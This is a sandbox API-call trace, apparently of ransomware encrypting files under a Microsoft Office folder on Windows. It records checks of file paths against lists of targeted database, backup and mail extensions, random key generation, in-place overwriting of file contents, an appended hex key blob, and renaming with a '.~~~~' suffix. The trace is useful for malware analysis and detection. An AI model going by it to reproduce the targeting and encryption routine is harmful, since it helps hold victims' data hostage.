	[0145.643] lstrlenW (lpString=".accdb") returned 6
	[0145.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS", lpSrch=".accdb") returned 0x0
	[0145.643] lstrlenW (lpString=".DBX") returned 4
	[0145.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS", lpSrch=".DBX") returned 0x0
	[0145.643] lstrlenW (lpString=".MDT") returned 4
	[0145.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS", lpSrch=".MDT") returned 0x0
	[0145.643] lstrlenW (lpString=".SQB") returned 4
	[0145.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS", lpSrch=".SQB") returned 0x0
	[0145.643] lstrlenW (lpString=".vhd") returned 4
	[0145.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS", lpSrch=".vhd") returned 0x0
	[0145.643] lstrlenW (lpString=".bac") returned 4
	[0145.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS", lpSrch=".bac") returned 0x0
	[0145.643] lstrlenW (lpString=".mdf") returned 4
	[0145.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS", lpSrch=".mdf") returned 0x0
	[0145.643] lstrlenW (lpString=".BAK") returned 4
	[0145.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS", lpSrch=".BAK") returned 0x0
	[0145.643] lstrlenW (lpString=".BAC") returned 4
	[0145.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS", lpSrch=".BAC") returned 0x0
	[0145.643] lstrlenW (lpString=".dbs") returned 4
	[0145.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS", lpSrch=".dbs") returned 0x0
	[0145.643] lstrlenW (lpString=".vhdx") returned 5
	[0145.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS", lpSrch=".vhdx") returned 0x0
	[0145.643] lstrlenW (lpString=".NDF") returned 4
	[0145.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS", lpSrch=".NDF") returned 0x0
	[0145.644] lstrlenW (lpString=".dat") returned 4
	[0145.644] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS", lpSrch=".dat") returned 0x0
	[0145.644] lstrlenW (lpString=".DBS") returned 4
	[0145.644] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS", lpSrch=".DBS") returned 0x0
	[0145.644] lstrlenW (lpString=".CKP") returned 4
	[0145.644] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS", lpSrch=".CKP") returned 0x0
	[0145.644] lstrlenW (lpString=".edb") returned 4
	[0145.644] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS", lpSrch=".edb") returned 0x0
	[0145.644] lstrlenW (lpString=".PST") returned 4
	[0145.644] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS", lpSrch=".PST") returned 0x0
	[0145.644] lstrlenW (lpString=".dbf") returned 4
	[0145.644] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS", lpSrch=".dbf") returned 0x0
	[0145.644] lstrlenW (lpString=".SQL") returned 4
	[0145.644] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS", lpSrch=".SQL") returned 0x0
	[0145.644] lstrlenW (lpString=".pst") returned 4
	[0145.644] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS", lpSrch=".pst") returned 0x0
	[0145.644] lstrlenW (lpString=".dbv") returned 4
	[0145.644] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS", lpSrch=".dbv") returned 0x0
	[0145.644] lstrlenW (lpString=".SDF") returned 4
	[0145.644] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS", lpSrch=".SDF") returned 0x0
	[0145.644] lstrlenW (lpString=".dtxs") returned 5
	[0145.644] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS", lpSrch=".dtxs") returned 0x0
	[0145.644] lstrlenW (lpString=".db3") returned 4
	[0145.644] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS", lpSrch=".db3") returned 0x0
	[0145.644] lstrlenW (lpString=".OST") returned 4
	[0145.644] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS", lpSrch=".OST") returned 0x0
	[0145.644] lstrlenW (lpString=".dbx") returned 4
	[0145.644] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS", lpSrch=".dbx") returned 0x0
	[0145.644] lstrlenW (lpString=".DB3") returned 4
	[0145.644] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS", lpSrch=".DB3") returned 0x0
	[0145.644] lstrlenW (lpString=".DAT") returned 4
	[0145.644] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS", lpSrch=".DAT") returned 0x0
	[0145.644] lstrlenW (lpString=".VHDX") returned 5
	[0145.644] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS", lpSrch=".VHDX") returned 0x0
	[0145.644] lstrlenW (lpString=".ndf") returned 4
	[0145.644] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS", lpSrch=".ndf") returned 0x0
	[0145.645] lstrlenW (lpString=".DB") returned 3
	[0145.645] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS", lpSrch=".DB") returned 0x0
	[0145.645] lstrlenW (lpString=".sql") returned 4
	[0145.645] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS", lpSrch=".sql") returned 0x0
	[0145.645] lstrlenW (lpString=".MYD") returned 4
	[0145.645] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS", lpSrch=".MYD") returned 0x0
	[0145.645] lstrlenW (lpString=".DBT") returned 4
	[0145.645] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS", lpSrch=".DBT") returned 0x0
	[0145.645] lstrlenW (lpString=".ACCDB") returned 6
	[0145.645] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS", lpSrch=".ACCDB") returned 0x0
	[0145.645] lstrlenW (lpString=".fdb") returned 4
	[0145.645] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS", lpSrch=".fdb") returned 0x0
	[0145.645] lstrlenW (lpString=".bak") returned 4
	[0145.645] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS", lpSrch=".bak") returned 0x0
	[0145.645] lstrlenW (lpString=".myd") returned 4
	[0145.645] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS", lpSrch=".myd") returned 0x0
	[0145.645] lstrlenW (lpString=".DTXS") returned 5
	[0145.645] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS", lpSrch=".DTXS") returned 0x0
	[0145.645] lstrlenW (lpString=".ckp") returned 4
	[0145.645] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS", lpSrch=".ckp") returned 0x0
	[0145.645] lstrlenW (lpString=".dbt") returned 4
	[0145.645] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS", lpSrch=".dbt") returned 0x0
	[0145.645] lstrlenW (lpString=".db") returned 3
	[0145.645] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS", lpSrch=".db") returned 0x0
	[0145.645] lstrlenW (lpString=".TXT") returned 4
	[0145.645] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS", lpSrch=".TXT") returned 0x0
	[0145.645] lstrlenW (lpString=".MDF") returned 4
	[0145.645] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS", lpSrch=".MDF") returned 0x0
	[0145.645] lstrlenW (lpString=".bdb") returned 4
	[0145.645] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS", lpSrch=".bdb") returned 0x0
	[0145.645] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0145.645] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0145.645] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0145.646] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0145.646] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3956b8) returned 1
	[0145.647] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0145.647] CryptReleaseContext (hProv=0x3956b8, dwFlags=0x0) returned 1
	[0145.647] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0145.647] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0145.647] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0145.647] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=26563707318) returned 1
	[0145.647] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xc036fff0, dwHighDateTime=0x1d60e1e)) 
	[0145.647] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0145.647] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0145.647] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0145.647] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x380270
	[0145.647] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0145.647] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x380270 | out: hHeap=0x300000) returned 1
	[0145.647] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0145.647] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0145.647] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28acda0
	[0145.648] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0145.648] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c6f60
	[0145.648] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28acda0 | out: hHeap=0x300000) returned 1
	[0145.648] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0145.648] GetLastError () returned 0x0
	[0145.648] GetLastError () returned 0x0
	[0145.648] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0145.648] GetLastError () returned 0x0
	[0145.648] GetLastError () returned 0x0
	[0145.648] ReadFile (in: hFile=0x138, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0145.651] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0145.651] WriteFile (in: hFile=0x138, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0145.653] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0145.653] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0145.653] WriteFile (in: hFile=0x138, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0145.655] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0145.655] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0145.655] CloseHandle (hObject=0x138) returned 1
	[0145.655] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c6d98
	[0145.655] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std.hxs"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std.hxs.~~~~")) returned 1
	[0145.658] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c6d98 | out: hHeap=0x300000) returned 1
	[0145.658] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0145.658] GetLastError () returned 0x0
	[0145.658] RtlWakeConditionVariable () returned 0x0
	[0145.658] GetCurrentThreadId () returned 0x9f4
	[0145.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL", lpSrch=".scr") returned 0x0
	[0145.658] lstrlenW (lpString=".cmd") returned 4
	[0145.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL", lpSrch=".cmd") returned 0x0
	[0145.658] lstrlenW (lpString=".dll") returned 4
	[0145.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL", lpSrch=".dll") returned 0x0
	[0145.658] lstrlenW (lpString=".bat") returned 4
	[0145.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL", lpSrch=".bat") returned 0x0
	[0145.658] lstrlenW (lpString=".cpl") returned 4
	[0145.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL", lpSrch=".cpl") returned 0x0
	[0145.658] lstrlenW (lpString=".sys") returned 4
	[0145.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL", lpSrch=".sys") returned 0x0
	[0145.658] lstrlenW (lpString=".msc") returned 4
	[0145.659] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL", lpSrch=".msc") returned 0x0
	[0145.659] lstrlenW (lpString=".com") returned 4
	[0145.659] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL", lpSrch=".com") returned 0x0
	[0145.659] lstrlenW (lpString=".lnk") returned 4
	[0145.659] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL", lpSrch=".lnk") returned 0x0
	[0145.659] lstrlenW (lpString=".msp") returned 4
	[0145.659] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL", lpSrch=".msp") returned 0x0
	[0145.659] lstrlenW (lpString=".pif") returned 4
	[0145.659] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL", lpSrch=".pif") returned 0x0
	[0145.659] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0145.659] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL", lpSrch="msp\r\n.pif") returned 0x0
	[0145.659] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visweb.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0145.661] lstrlenW (lpString=".sqb") returned 4
	[0145.661] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL", lpSrch=".sqb") returned 0x0
	[0145.661] lstrlenW (lpString=".ost") returned 4
	[0145.661] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL", lpSrch=".ost") returned 0x0
	[0145.661] lstrlenW (lpString=".txt") returned 4
	[0145.661] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL", lpSrch=".txt") returned 0x0
	[0145.661] lstrlenW (lpString=".mdt") returned 4
	[0145.661] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL", lpSrch=".mdt") returned 0x0
	[0145.661] lstrlenW (lpString=".BDB") returned 4
	[0145.661] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL", lpSrch=".BDB") returned 0x0
	[0145.661] lstrlenW (lpString=".eql") returned 4
	[0145.661] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL", lpSrch=".eql") returned 0x0
	[0145.661] lstrlenW (lpString=".DBF") returned 4
	[0145.661] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL", lpSrch=".DBF") returned 0x0
	[0145.661] lstrlenW (lpString=".EQL") returned 4
	[0145.661] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL", lpSrch=".EQL") returned 0x0
	[0145.661] lstrlenW (lpString=".FDB") returned 4
	[0145.661] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL", lpSrch=".FDB") returned 0x0
	[0145.661] lstrlenW (lpString=".EDB") returned 4
	[0145.661] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL", lpSrch=".EDB") returned 0x0
	[0145.661] lstrlenW (lpString=".DACPAC") returned 7
	[0145.661] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL", lpSrch=".DACPAC") returned 0x0
	[0145.661] lstrlenW (lpString=".VHD") returned 4
	[0145.661] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL", lpSrch=".VHD") returned 0x0
	[0145.661] lstrlenW (lpString=".DBV") returned 4
	[0145.662] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL", lpSrch=".DBV") returned 0x0
	[0145.662] lstrlenW (lpString=".dacpac") returned 7
	[0145.662] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL", lpSrch=".dacpac") returned 0x0
	[0145.662] lstrlenW (lpString=".sdf") returned 4
	[0145.662] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL", lpSrch=".sdf") returned 0x0
	[0145.662] lstrlenW (lpString=".accdb") returned 6
	[0145.662] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL", lpSrch=".accdb") returned 0x0
	[0145.662] lstrlenW (lpString=".DBX") returned 4
	[0145.662] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL", lpSrch=".DBX") returned 0x0
	[0145.662] lstrlenW (lpString=".MDT") returned 4
	[0145.662] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL", lpSrch=".MDT") returned 0x0
	[0145.662] lstrlenW (lpString=".SQB") returned 4
	[0145.662] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL", lpSrch=".SQB") returned 0x0
	[0145.662] lstrlenW (lpString=".vhd") returned 4
	[0145.662] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL", lpSrch=".vhd") returned 0x0
	[0145.662] lstrlenW (lpString=".bac") returned 4
	[0145.662] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL", lpSrch=".bac") returned 0x0
	[0145.662] lstrlenW (lpString=".mdf") returned 4
	[0145.662] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL", lpSrch=".mdf") returned 0x0
	[0145.662] lstrlenW (lpString=".BAK") returned 4
	[0145.662] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL", lpSrch=".BAK") returned 0x0
	[0145.662] lstrlenW (lpString=".BAC") returned 4
	[0145.662] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL", lpSrch=".BAC") returned 0x0
	[0145.662] lstrlenW (lpString=".dbs") returned 4
	[0145.662] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL", lpSrch=".dbs") returned 0x0
	[0145.662] lstrlenW (lpString=".vhdx") returned 5
	[0145.662] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL", lpSrch=".vhdx") returned 0x0
	[0145.662] lstrlenW (lpString=".NDF") returned 4
	[0145.662] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL", lpSrch=".NDF") returned 0x0
	[0145.662] lstrlenW (lpString=".dat") returned 4
	[0145.662] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL", lpSrch=".dat") returned 0x0
	[0145.663] lstrlenW (lpString=".DBS") returned 4
	[0145.663] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL", lpSrch=".DBS") returned 0x0
	[0145.663] lstrlenW (lpString=".CKP") returned 4
	[0145.663] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL", lpSrch=".CKP") returned 0x0
	[0145.663] lstrlenW (lpString=".edb") returned 4
	[0145.663] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL", lpSrch=".edb") returned 0x0
	[0145.663] lstrlenW (lpString=".PST") returned 4
	[0145.663] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL", lpSrch=".PST") returned 0x0
	[0145.663] lstrlenW (lpString=".dbf") returned 4
	[0145.663] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL", lpSrch=".dbf") returned 0x0
	[0145.663] lstrlenW (lpString=".SQL") returned 4
	[0145.663] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL", lpSrch=".SQL") returned 0x0
	[0145.663] lstrlenW (lpString=".pst") returned 4
	[0145.663] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL", lpSrch=".pst") returned 0x0
	[0145.663] lstrlenW (lpString=".dbv") returned 4
	[0145.663] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL", lpSrch=".dbv") returned 0x0
	[0145.663] lstrlenW (lpString=".SDF") returned 4
	[0145.663] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL", lpSrch=".SDF") returned 0x0
	[0145.663] lstrlenW (lpString=".dtxs") returned 5
	[0145.663] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL", lpSrch=".dtxs") returned 0x0
	[0145.663] lstrlenW (lpString=".db3") returned 4
	[0145.663] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL", lpSrch=".db3") returned 0x0
	[0145.663] lstrlenW (lpString=".OST") returned 4
	[0145.663] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL", lpSrch=".OST") returned 0x0
	[0145.663] lstrlenW (lpString=".dbx") returned 4
	[0145.663] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL", lpSrch=".dbx") returned 0x0
	[0145.663] lstrlenW (lpString=".DB3") returned 4
	[0145.663] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL", lpSrch=".DB3") returned 0x0
	[0145.663] lstrlenW (lpString=".DAT") returned 4
	[0145.663] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL", lpSrch=".DAT") returned 0x0
	[0145.663] lstrlenW (lpString=".VHDX") returned 5
	[0145.664] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL", lpSrch=".VHDX") returned 0x0
	[0145.664] lstrlenW (lpString=".ndf") returned 4
